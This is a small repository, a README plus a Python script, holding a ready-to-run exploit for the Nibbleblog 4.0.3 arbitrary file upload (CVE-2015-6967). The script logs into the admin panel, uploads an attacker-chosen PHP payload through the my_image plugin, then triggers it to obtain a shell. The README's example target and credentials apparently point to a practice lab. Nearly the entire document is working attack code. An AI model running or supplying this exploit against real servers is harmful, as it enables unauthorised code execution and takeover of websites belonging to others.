├── README.md └── exploit.py /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2015-6967 2 | 3 | Nibbleblog 4.0.3 - Arbitrary File Upload (CVE-2015-6967) 4 | 5 | ## requirements 6 | 7 | - python 3 8 | - `requests` 9 | 10 | ## usage 11 | 12 | ``` 13 | usage: exploit.py [-h] --url URL --username USERNAME --password PASSWORD --payload PAYLOAD 14 | 15 | optional arguments: 16 | -h, --help show this help message and exit 17 | --url URL, -l URL 18 | --username USERNAME, -u USERNAME 19 | --password PASSWORD, -p PASSWORD 20 | --payload PAYLOAD, -x PAYLOAD 21 | ``` 22 | 23 | example: 24 | 25 | `python3 exploit.py --url http://10.10.10.75/nibbleblog/ --username admin --password nibbles --payload shell.php` 26 | 27 | -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | from pathlib import Path 3 | 4 | import requests 5 | 6 | 7 | def login(session, nibbleURL, username, password): 8 | loginURL = f"{nibbleURL}admin.php" 9 | session.get(loginURL) 10 | loginPostResp = session.post(loginURL, data={'username': username, 'password': password}) 11 | if 'Incorrect username or password.' in loginPostResp.text: 12 | print('[!] Login Failed.') 13 | return False 14 | else: 15 | print('[+] Login Successful.') 16 | return True 17 | 18 | def upload_shell(session, nibbleURL, payload): 19 | uploadURL = f"{nibbleURL}admin.php?controller=plugins&action=config&plugin=my_image" 20 | uploadPostResp = session.post(uploadURL, data={'plugin':'my_image','title':'My image','position':'4','caption':'capton','image_resize':'1','image_width':'230','image_height':'200','image_option':'auto'}, files={'image': ('nibbles.php', payload, 'application/x-php')}, timeout=30) 21 | if 'Warning' in uploadPostResp.text: 22 | print('[+] Upload likely successfull.') 23 | else: 24 | print('[-] Upload likely failed.') 25 | 26 | def execute_shell(session, nibbleURL): 27 | exploitURL = f"{nibbleURL}content/private/plugins/my_image/image.php" 28 | exploitResp = session.get(exploitURL) 29 | 30 | if exploitResp.status_code == 200: 31 | print('[+] Exploit launched, check for shell.') 32 | else: 33 | print('[!] Exploit failed.') 34 | 35 | def main(): 36 | parser = argparse.ArgumentParser() 37 | parser.add_argument('--url', '-l', required=True) 38 | parser.add_argument('--username', '-u', required=True) 39 | parser.add_argument('--password', '-p', required=True) 40 | parser.add_argument('--payload', '-x', required=True) 41 | args = parser.parse_args() 42 | payload_path = Path(args.payload) 43 | 44 | if not payload_path.exists(): 45 | print(f"payload {payload_path} doesnt exist => exiting") 46 | return 47 | 48 | url = args.url 49 | with payload_path.open('r') as f: 50 | payload = f.read() 51 | 52 | session = requests.Session() 53 | 54 | login(session, url, args.username, args.password) 55 | upload_shell(session, url, payload) 56 | execute_shell(session, url) 57 | 58 | if __name__ == "__main__": 59 | main() 60 | --------------------------------------------------------------------------------